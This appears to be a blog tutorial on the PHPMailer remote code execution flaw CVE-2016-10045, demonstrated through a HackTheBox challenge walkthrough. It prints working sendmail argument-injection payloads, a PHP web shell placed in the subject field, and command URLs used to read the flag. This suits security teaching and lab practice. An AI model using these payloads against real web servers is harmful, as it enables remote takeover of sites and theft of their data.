PHP is a server-side scripting language for making dynamic and interactive Web pages. Many developers are still using it to develop enterprise-level applications. It has many frameworks including symphony, codeigniter, and laravel. It has many built-in functions to facilitate the developers with functionalities including file handling, running system commands, etc. Among these functionalities is the mail function which facilitates sending emails directly from the PHP code. PHPMailer RCE is assigned to CVE-2016-10045.
What is PHPMailer
It is a code library to send emails safely and easily. It has approximately 9 Million users worldwide. This class uses the mail function at the core. Prior to version 5.2.20 uses the vulnerable mail function.
An independent research uncovered a critical vulnerability in PHPMailer. The attackers may use this vulnerability to achieve remote code execution in the context of the web server user. That may lead to remotely compromising the target web application.
To exploit the vulnerability an attacker could target common website components such as contact/feedback forms, registration forms, password email resets, and others that send out emails with the help of a vulnerable version of the class.
Previous Vulnerability & Patch Exploit
Previously, version 5.2.17 had a remote code execution vulnerability. Its patch sanitizes the $Sender
variable by applying escapeshellarg()
escaping before the value is passed to mail()
function.
It does not however take into account the clashing of the escapeshellarg()
function with internal escaping with escapeshellcmd()
performed by mail()
function on the 5th parameter.
As a result, it is possible to inject an extra quote that does not get properly escaped and break out of the escapeshellarg()
protection applied by the patch in version 5.2.17.
mail function
This function takes 5 parameters and has the following function definition
mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
string $additional_params = ""
): bool
$to
is the receiver$subject
represents the subject of the mail$message
for the message body of the mail$additional_headers
is the optional parameter to provide custom/extra headers$additional_params
is the optional parameter to provide extra flags as command line options
Mail function uses sendmail
binary at its core to send an email and passes all these arguments to sendmail
binary.
sendmail
The attackers can abuse the fifth argument from the mail function and include in the additional parameters to the sendmail binary that will serve the attacker’s purpose.
Practical Lab for PHPMailer RCE
For the demonstration, I am going to walk through HackTheBox Challenge Letter Despair
. When you go to the challenge, it has the following description
A high-profile political individual was a victim of a spear-phishing attack. The email came from a legitimate government entity in a nation we don't have jurisdiction. However, we have traced the originating mail to a government webserver. Further enumeration revealed an open directory index containing a PHP mailer script we think was used to send the email. We need access to the server to read the logs and find out the actual perpetrator. Can you help?
Start the challenge instance. You will receive the public docker IP. Open the specified resource in browser and you will see the following directory listing page
Navigating to index.nginx-debian.html
gives the default nginx page as below
Going back and opening mailer.php
shows the following page
From the directory listing, it seems mailer.zip
contains the source code of this PHP page. Downloading mailer.zip
provides the source code. The file contains so much code but the send
function is of our interest as below
public function send($to_name, $to_addr, $from_name, $from_addr, $subject = '', $headers = [])
{
foreach (["\n", "\r"] as $line_ending)
{
foreach ([$to_name, $to_addr, $subject, $from_name, $from_addr] as $header_value)
{
if (false !== strstr($header_value, $line_ending))
{
return false;
}
}
}
$to = $this->format_address($to_addr, $to_name);
$from = $this->format_address($from_addr, $from_name);
if (defined('EMAIL_FROM'))
{
$sender_headers = ['From: ' . EMAIL_FROM, 'Reply-to: ' . $from];
$from_addr = EMAIL_FROM;
}
else
{
$sender_headers = ['From: ' . $from];
}
$headers = array_merge($this->headers, $sender_headers, $this->normalize_headers($headers));
return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");
}
}
Here, in the very last line containing return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");
. The last parameter contains the sender’s mailing address.
- -f parameter to sendmail specifies the sender of the email
It means the parameter $from_addr
is directly passed to the shell command. We can craft the malicious payload to add in the additional parameter.
- -oQ parameter specifies the queue directory
- -X parameter specifies the log file to store the logs
Using the above headers, we can craft the following payload
-oQ /tmp -X/var/www/cache/rce.php
Or the following payload
-OQueueDirectory=/tmp -X/var/www/html/rce.php
We can put any of the above payloads in the From Email
input field. And in the subject
field, we can put our malicious PHP code, commonly with system or shell_exec invoke as below
<?php echo shell_exec($_GET['cmd']);?>
This will create a file in /var/www/html
directory with name rce.php
that will contain the PHP code in the subject field. We can then use it as a web shell to run commands on the server.
Putting malicious payloads
Put the crafted payloads in the specified fields as below
However, leave all the other fields untouched. Upon clicking the Start Delivery
button, you will see the following success message
As it is successful, the new log file will be created in the /var/www/html
folder. This is the same folder that we have access to in the directory listing. Navigate back to the directory listing and you will see the rce.php file as below
Open rce.php and you will see the following logs
Now in the URL, add a get parameter named cmd
and put the command in it to execute and see the results
http://IP:Port?cmd=ls
You can see the command execution and listing of the folder contents against the Subject field.
Now, keep changing the cmd value to navigate through the docker instance and get the flag.
The final payload will be as below
http://IP:Port?cmd=cat /flag.txt
You can then see the flag against the Subject field in the output as below
Impact
This vulnerability can lead to gaining a reverse shell and then escalating the privileges to have full control over the target system.
Mitigation for PHPMailer RCE
- The fix for this vulnerability was implemented in version 5.2.20 of PHPMailer.
- However, developers must sanitize all inputs
- Never pass user input directly into the sensitive functions. Update the
- Update to the latest version
Leave a Reply